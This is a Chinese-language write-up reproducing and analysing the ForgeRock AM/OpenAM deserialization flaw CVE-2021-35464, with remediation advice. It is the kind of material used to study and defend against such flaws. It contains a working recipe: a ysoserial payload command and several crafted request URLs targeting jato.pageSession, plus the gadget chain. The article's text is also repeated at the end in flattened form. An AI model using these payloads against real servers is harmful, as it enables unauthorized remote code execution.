ForgeRock AM远程代码执行漏洞(CVE-2021-35464)复现和分析
字数 1053 2025-08-09 15:23:15

ForgeRock AM远程代码执行漏洞(CVE-2021-35464)分析与复现指南

漏洞概述

ForgeRock AM是一个开源的访问管理、权限控制平台,广泛应用于大学、社会组织等场景。该平台存在一个严重的Java反序列化漏洞,允许未经身份验证的攻击者通过构造特殊的请求远程执行任意代码,从而完全控制运行ForgeRock AM的服务器。

影响版本

  • ForgeRock AM >=5.0.0 <6.5.3
  • ForgeRock OpenAM >=9.0.0 <14.6.3

漏洞原理

漏洞存在于ForgeRock AM服务器的to.pageSession参数中,该参数接收的数据会经过以下处理流程:

  1. 首先通过jato.util.Encoderdecodehttp64方法进行解码
  2. 然后由Encoder.deserialize进行反序列化处理成会话属性
  3. 内部使用ObjectInputStream执行反序列化操作

由于缺乏对反序列化对象的有效验证,攻击者可以构造恶意的序列化对象,通过Java反序列化机制实现远程代码执行。

环境搭建

  1. 下载受影响版本的ForgeRock AM
  2. 按照官方文档进行默认配置安装
  3. 配置完成后访问主页面确认服务正常运行

漏洞复现

方法一:BurpSuite手动利用

  1. 使用ysoserial生成payload:

    java -jar ysoserial.jar Click1 "calc" | (echo -ne \\x00 && cat) | base64 | tr -d '='
    
  2. 将生成的payload复制并去除换行符

  3. 构造以下任意一种URL格式发送请求:

    GET /openam2/oauth2/..;/ccversion/Version?jato.pageSession=PAYLOAD
    GET /openam2/oauth2/..///ccversion/Version?jato.pageSession=PAYLOAD
    GET /openam2/oauth2///..///ccversion/Version?jato.pageSession=PAYLOAD
    GET /openam2/oauth2/ccversion/Version?jato.pageSession=PAYLOAD
    GET /openam2/oauth2/..//;/ccversion/Version?jato.pageSession=PAYLOAD
    GET /openam2/oauth2/../ccversion/Version?jato.pageSession=PAYLOAD
    GET /openam2/ccversion/Version?jato.pageSession=PAYLOAD
    

方法二:脚本自动化利用

可以使用公开的漏洞利用脚本,设置目标URL和payload后执行攻击。

漏洞分析

关键代码路径

  1. 请求处理流程:

    • 获取jato.pageSession参数值
    • 通过jato.util.Encoder.decodehttp64方法解码
    • 调用Encoder.deserialize进行反序列化
    • 使用ApplicationObjectInputStreamreadObject方法反序列化对象
  2. 反序列化调用链:

    java.util.PriorityQueue.readObject()
    → org.apache.click.control.Column$ColumnComparator.compare()
    → org.apache.click.control.Column.getProperty()
    → org.apache.click.control.Table
    → org.apache.click.util.PropertyUtils.getValue()
    → java.lang.reflect.Method.invoke()
    → TemplatesImpl.newTransformer()
    → TemplatesImpl.getTransletInstance()
    → TemplatesImpl.defineTransletClasses()
    → ClassLoader.defineClass()
    → Class.newInstance()
    → Runtime.exec()
    

完整调用栈

invokeReadObject:1060, ObjectStreamClass (java.io)
readSerialData:2136, ObjectInputStream (java.io)
readOrdinaryObject:2027, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
deserialize:359, Encoder (com.iplanet.jato.util)
deserializePageAttributes:934, ViewBeanBase (com.iplanet.jato.view)
invokeRequestHandler:568, ViewBeanBase (com.iplanet.jato.view)
dispatchRequest:957, ApplicationServletBase (com.iplanet.jato)
processRequest:615, ApplicationServletBase (com.iplanet.jato)
doGet:459, ApplicationServletBase (com.iplanet.jato)
service:635, HttpServlet (javax.servlet.http)
...

修复建议

  1. 升级到已修复版本:

    • ForgeRock AM >=6.5.3
    • ForgeRock OpenAM >=14.6.3
  2. 临时缓解措施:

    • 在Web应用防火墙(WAF)中过滤包含jato.pageSession参数的请求
    • 禁用不必要的API端点
  3. 补丁获取:

    • 访问ForgeRock官方安全公告获取最新补丁

参考链接

  1. PortSwigger研究文章
  2. ForgeRock官方安全公告
  3. ysoserial工具
ForgeRock AM远程代码执行漏洞(CVE-2021-35464)分析与复现指南 漏洞概述 ForgeRock AM是一个开源的访问管理、权限控制平台,广泛应用于大学、社会组织等场景。该平台存在一个严重的Java反序列化漏洞,允许未经身份验证的攻击者通过构造特殊的请求远程执行任意代码,从而完全控制运行ForgeRock AM的服务器。 影响版本 ForgeRock AM >=5.0.0 <6.5.3 ForgeRock OpenAM >=9.0.0 <14.6.3 漏洞原理 漏洞存在于ForgeRock AM服务器的 to.pageSession 参数中,该参数接收的数据会经过以下处理流程: 首先通过 jato.util.Encoder 的 decodehttp64 方法进行解码 然后由 Encoder.deserialize 进行反序列化处理成会话属性 内部使用 ObjectInputStream 执行反序列化操作 由于缺乏对反序列化对象的有效验证,攻击者可以构造恶意的序列化对象,通过Java反序列化机制实现远程代码执行。 环境搭建 下载受影响版本的ForgeRock AM 按照官方文档进行默认配置安装 配置完成后访问主页面确认服务正常运行 漏洞复现 方法一:BurpSuite手动利用 使用ysoserial生成payload: 将生成的payload复制并去除换行符 构造以下任意一种URL格式发送请求: 方法二:脚本自动化利用 可以使用公开的漏洞利用脚本,设置目标URL和payload后执行攻击。 漏洞分析 关键代码路径 请求处理流程: 获取 jato.pageSession 参数值 通过 jato.util.Encoder.decodehttp64 方法解码 调用 Encoder.deserialize 进行反序列化 使用 ApplicationObjectInputStream 的 readObject 方法反序列化对象 反序列化调用链: 完整调用栈 修复建议 升级到已修复版本: ForgeRock AM >=6.5.3 ForgeRock OpenAM >=14.6.3 临时缓解措施: 在Web应用防火墙(WAF)中过滤包含 jato.pageSession 参数的请求 禁用不必要的API端点 补丁获取: 访问ForgeRock官方安全公告获取最新补丁 参考链接 PortSwigger研究文章 ForgeRock官方安全公告 ysoserial工具